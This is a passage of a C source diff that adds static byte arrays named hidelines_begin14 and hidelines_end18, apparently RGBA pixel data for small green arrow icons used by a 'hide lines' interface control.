0x47, 0xA4, 0x70, 0x27, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, 0xA3, 0x6F, 0xFF, + 0x6F, 0xB9, 0x90, 0xFF, 0x61, 0xB1, 0x84, 0xFF, 0x46, 0xA3, 0x6F, 0xFF, + 0x46, 0xA3, 0x6F, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x44, 0xA1, 0x6D, 0xFF, + 0x77, 0xBE, 0x97, 0xFF, 0x87, 0xC7, 0xA4, 0xFF, 0x5C, 0xAE, 0x81, 0xFF, + 0x44, 0xA1, 0x6D, 0xFF, 0x44, 0xA1, 0x6D, 0x22, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0xA0, 0x6C, 0xFF, + 0x72, 0xBA, 0x93, 0xFF, 0x81, 0xC3, 0x9F, 0xFF, 0x82, 0xC4, 0xA0, 0xFF, + 0x5A, 0xAD, 0x7F, 0xFF, 0x43, 0xA0, 0x6C, 0xFF, 0x43, 0xA0, 0x6C, 0x22, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x9E, 0x6A, 0xFF, + 0x6D, 0xB8, 0x8E, 0xFF, 0x7B, 0xC0, 0x9A, 0xFF, 0x7C, 0xC0, 0x9B, 0xFF, + 0x7E, 0xC1, 0x9C, 0xFF, 0x58, 0xAB, 0x7D, 0xFF, 0x41, 0x9E, 0x6A, 0xFF, + 0x41, 0x9E, 0x6A, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x9D, 0x69, 0xFF, + 0x68, 0xB4, 0x8A, 0xFF, 0x75, 0xBC, 0x95, 0xFF, 0x76, 0xBD, 0x96, 0xFF, + 0x78, 0xBE, 0x97, 0xFF, 0x7B, 0xBF, 0x99, 0xFF, 0x56, 0xAA, 0x7B, 0xFF, + 0x40, 0x9D, 0x69, 0xFF, 0x40, 0x9D, 0x69, 0x1D, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x9B, 0x67, 0xFF, + 0x63, 0xB2, 0x85, 0xFF, 0x6F, 0xB9, 0x90, 0xFF, 0x70, 0xBA, 0x91, 0xFF, + 0x72, 0xBB, 0x93, 0xFF, 0x75, 0xBC, 0x95, 0xFF, 0x78, 0xBE, 0x98, 0xFF, + 0x54, 0xA8, 0x7A, 0xFF, 0x3E, 0x9B, 0x67, 0xFF, 0x3E, 0x9B, 0x67, 0x18, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3D, 0x9A, 0x66, 0xFF, + 0x5E, 0xAE, 0x82, 0xFF, 0x69, 0xB5, 0x8B, 0xFF, 0x6B, 0xB6, 0x8C, 0xFF, + 0x6D, 0xB8, 0x8E, 0xFF, 0x70, 0xB9, 0x91, 0xFF, 0x73, 0xBB, 0x94, 0xFF, + 0x78, 0xBE, 0x97, 0xFF, 0x57, 0xAA, 0x7C, 0xFF, 0x3D, 0x9A, 0x66, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3B, 0x98, 0x64, 0xFF, + 0x59, 0xAC, 0x7E, 0xFF, 0x63, 0xB2, 0x86, 0xFF, 0x65, 0xB3, 0x87, 0xFF, + 0x67, 0xB5, 0x8A, 0xFF, 0x6B, 0xB7, 0x8D, 0xFF, 0x6F, 0xB9, 0x90, 0xFF, + 0x73, 0xBB, 0x94, 0xFF, 0x51, 0xA6, 0x77, 0xFF, 0x3B, 0x98, 0x64, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A, 0x97, 0x63, 0xFF, + 0x54, 0xA8, 0x79, 0xFF, 0x5D, 0xAF, 0x81, 0xFF, 0x5F, 0xB0, 0x83, 0xFF, + 0x62, 0xB2, 0x86, 0xFF, 0x66, 0xB4, 0x89, 0xFF, 0x6B, 0xB7, 0x8D, 0xFF, + 0x4B, 0xA2, 0x72, 0xFF, 0x3A, 0x97, 0x63, 0xFF, 0x3A, 0x97, 0x63, 0x18, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x95, 0x61, 0xFF, + 0x4F, 0xA5, 0x75, 0xFF, 0x57, 0xAB, 0x7C, 0xFF, 0x5A, 0xAD, 0x7E, 0xFF, + 0x5D, 0xAF, 0x82, 0xFF, 0x62, 0xB2, 0x86, 0xFF, 0x47, 0x9F, 0x6E, 0xFF, + 0x38, 0x95, 0x61, 0xFF, 0x38, 0x95, 0x61, 0x1D, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x94, 0x60, 0xFF, + 0x4A, 0xA2, 0x71, 0xFF, 0x51, 0xA8, 0x78, 0xFF, 0x55, 0xAA, 0x7B, 0xFF, + 0x5A, 0xAD, 0x7E, 0xFF, 0x44, 0x9D, 0x6B, 0xFF, 0x37, 0x94, 0x60, 0xFF, + 0x37, 0x94, 0x60, 0x1D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x35, 0x92, 0x5E, 0xFF, + 0x45, 0x9F, 0x6C, 0xFF, 0x4C, 0xA5, 0x73, 0xFF, 0x51, 0xA8, 0x78, 0xFF, + 0x40, 0x9A, 0x67, 0xFF, 0x35, 0x92, 0x5E, 0xFF, 0x35, 0x92, 0x5E, 0x22, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x91, 0x5D, 0xFF, + 0x40, 0x9D, 0x69, 0xFF, 0x4A, 0xA4, 0x71, 0xFF, 0x3D, 0x98, 0x65, 0xFF, + 0x34, 0x91, 0x5D, 0xFF, 0x34, 0x91, 0x5D, 0x22, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0x8F, 0x5B, 0xFF, + 0x3F, 0x9A, 0x67, 0xFF, 0x3A, 0x96, 0x62, 0xFF, 0x32, 0x8F, 0x5B, 0xFF, + 0x32, 0x8F, 0x5B, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x8E, 0x5A, 0xFF, + 0x3B, 0x96, 0x63, 0xFF, 0x31, 0x8E, 0x5A, 0xFF, 0x31, 0x8E, 0x5A, 0x27, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x8D, 0x59, 0xFF, + 0x30, 0x8D, 0x59, 0xFF, 0x30, 0x8D, 0x59, 0x27, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +}; + +static const unsigned char hidelines_begin14[784] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x49, 0xA6, 0x72, 0xFF, 0x4A, 0xA7, 0x73, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x47, 0xA4, 0x70, 0xFF, 0x68, 0xB6, 0x8B, 0xFF, 0x48, 0xA5, 0x71, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x45, 0xA2, 0x6E, 0xFF, + 0x8E, 0xCA, 0xA8, 0xFF, 0x64, 0xB3, 0x87, 0xFF, 0x46, 0xA3, 0x6F, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x43, 0xA0, 0x6C, 0xFF, 0x86, 0xC5, 0xA2, 0xFF, + 0x86, 0xC6, 0xA2, 0xFF, 0x60, 0xB0, 0x83, 0xFF, 0x44, 0xA1, 0x6D, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x41, 0x9E, 0x6A, 0xFF, 0x7D, 0xC1, 0x9B, 0xFF, 0x7E, 0xC1, 0x9C, 0xFF, + 0x80, 0xC2, 0x9D, 0xFF, 0x5D, 0xAE, 0x81, 0xFF, 0x43, 0xA0, 0x6C, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0x9C, 0x68, 0xFF, + 0x75, 0xBC, 0x95, 0xFF, 0x76, 0xBD, 0x95, 0xFF, 0x78, 0xBE, 0x97, 0xFF, + 0x7B, 0xBF, 0x99, 0xFF, 0x5B, 0xAD, 0x7F, 0xFF, 0x41, 0x9E, 0x6A, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x3D, 0x9A, 0x66, 0xFF, 0x6D, 0xB8, 0x8E, 0xFF, + 0x6E, 0xB8, 0x8F, 0xFF, 0x70, 0xB9, 0x90, 0xFF, 0x74, 0xBB, 0x93, 0xFF, + 0x79, 0xBE, 0x97, 0xFF, 0x59, 0xAB, 0x7D, 0xFF, 0x3F, 0x9C, 0x68, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x3C, 0x99, 0x65, 0xFF, 0x64, 0xB3, 0x87, 0xFF, 0x66, 0xB4, 0x88, 0xFF, + 0x68, 0xB5, 0x8A, 0xFF, 0x6D, 0xB8, 0x8E, 0xFF, 0x72, 0xBA, 0x92, 0xFF, + 0x51, 0xA6, 0x76, 0xFF, 0x3D, 0x9A, 0x66, 0xFF, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A, 0x97, 0x63, 0xFF, + 0x5C, 0xAE, 0x80, 0xFF, 0x5E, 0xAF, 0x82, 0xFF, 0x61, 0xB1, 0x84, 0xFF, + 0x67, 0xB4, 0x89, 0xFF, 0x4C, 0xA3, 0x72, 0xFF, 0x3B, 0x98, 0x64, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x38, 0x95, 0x61, 0xFF, 0x54, 0xAA, 0x7A, 0xFF, + 0x56, 0xAB, 0x7C, 0xFF, 0x5B, 0xAE, 0x80, 0xFF, 0x46, 0x9F, 0x6D, 0xFF, + 0x39, 0x96, 0x62, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x36, 0x93, 0x5F, 0xFF, 0x4C, 0xA5, 0x73, 0xFF, 0x4F, 0xA7, 0x76, 0xFF, + 0x41, 0x9B, 0x68, 0xFF, 0x37, 0x94, 0x60, 0xFF, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x91, 0x5D, 0xFF, + 0x44, 0xA1, 0x6D, 0xFF, 0x3C, 0x97, 0x64, 0xFF, 0x35, 0x92, 0x5E, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x32, 0x8F, 0x5B, 0xFF, 0x3A, 0x96, 0x63, 0xFF, + 0x32, 0x8F, 0x5B, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x30, 0x8D, 0x59, 0xFF, 0x30, 0x8D, 0x59, 0xFF, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00 +}; + +static const unsigned char hidelines_end18[1296] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x49, 0xA6, 0x72, 0x27, 0x49, 0xA6, 0x72, 0xFF, 0x49, 0xA6, 0x72, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x47, 0xA4, 0x70, 0x27, + 0x47, 0xA4, 0x70, 0xFF, 0x5F, 0xB1, 0x84, 0xFF, 0x47, 0xA4, 0x70, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x46, 0xA3, 0x6F, 0x27, 0x46, 0xA3, 0x6F, 0xFF, + 0x61, 0xB1, 0x84, 0xFF, 0x6F, 0xB9, 0x90, 0xFF, 0x46, 0xA3, 0x6F, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x44, 0xA1, 0x6D, 0x22, 0x44, 0xA1, 0x6D, 0xFF, 0x5C, 0xAE, 0x81, 0xFF, + 0x87, 0xC7, 0xA4, 0xFF, 0x77, 0xBE, 0x97, 0xFF, 0x44, 0xA1, 0x6D, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0xA0, 0x6C, 0x22, + 0x43, 0xA0, 0x6C, 0xFF, 0x5A, 0xAD, 0x7F, 0xFF, 0x82, 0xC4, 0xA0, 0xFF, + 0x81, 0xC3, 0x9F, 0xFF, 0x72, 0xBA, 0x93, 0xFF, 0x43, 0xA0, 0x6C, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x41, 0x9E, 0x6A, 0x1D, 0x41, 0x9E, 0x6A, 0xFF, + 0x58, 0xAB, 0x7D, 0xFF, 0x7E, 0xC1, 0x9C, 0xFF, 0x7C, 0xC0, 0x9B, 0xFF, + 0x7B, 0xC0, 0x9A, 0xFF, 0x6D, 0xB8, 0x8E, 0xFF, 0x41, 0x9E, 0x6A, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x9D, 0x69, 0x1D, 0x40, 0x9D, 0x69, 0xFF, 0x56, 0xAA, 0x7B, 0xFF, + 0x7B, 0xBF, 0x99, 0xFF, 0x78, 0xBE, 0x97, 0xFF, 0x76, 0xBD, 0x96, 0xFF, + 0x75, 0xBC, 0x95, 0xFF, 0x68, 0xB4, 0x8A, 0xFF, 0x40, 0x9D, 0x69, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0x9B, 0x67, 0x18, + 0x3E, 0x9B, 0x67, 0xFF, 0x54, 0xA8, 0x7A, 0xFF, 0x78, 0xBE, 0x98, 0xFF, + 0x75, 0xBC, 0x95, 0xFF, 0x72, 0xBB, 0x93, 0xFF, 0x70, 0xBA, 0x91, 0xFF, + 0x6F, 0xB9, 0x90, 0xFF, 0x63, 0xB2, 0x85, 0xFF, 0x3E, 0x9B, 0x67, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3D, 0x9A, 0x66, 0xFF, + 0x57, 0xAA, 0x7C, 0xFF, 0x78, 0xBE, 0x97, 0xFF, 0x73, 0xBB, 0x94, 0xFF, + 0x70, 0xB9, 0x91, 0xFF, 0x6D, 0xB8, 0x8E, 0xFF, 0x6B, 0xB6, 0x8C, 0xFF, + 0x69, 0xB5, 0x8B, 0xFF, 0x5E, 0xAE, 0x82, 0xFF, 0x3D, 0x9A, 0x66, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3B, 0x98, 0x64, 0xFF, + 0x51, 0xA6, 0x77, 0xFF, 0x73, 0xBB, 0x94, 0xFF, 0x6F, 0xB9, 0x90, 0xFF, + 0x6B, 0xB7, 0x8D, 0xFF, 0x67, 0xB5, 0x8A, 0xFF, 0x65, 0xB3, 0x87, 0xFF, + 0x63, 0xB2, 0x86, 0xFF, 0x59, 0xAC, 0x7E, 0xFF, 0x3B, 0x98, 0x64, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A, 0x97, 0x63, 0x18, + 0x3A, 0x97, 0x63, 0xFF, 0x4B, 0xA2, 0x72, 0xFF, 0x6B, 0xB7, 0x8D, 0xFF, + 0x66, 0xB4, 0x89, 0xFF, 0x62, 0xB2, 0x86, 0xFF, 0x5F, 0xB0, 0x83, 0xFF, + 0x5D, 0xAF, 0x81, 0xFF, 0x54, 0xA8, 0x79, 0xFF, 0x3A, 0x97, 0x63, 0xFF, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x38, 0x95, 0x61, 0x1D, 0x38, 0x95, 0x61, 0xFF, 0x47, 0x9F, 0x6E, 0xFF, 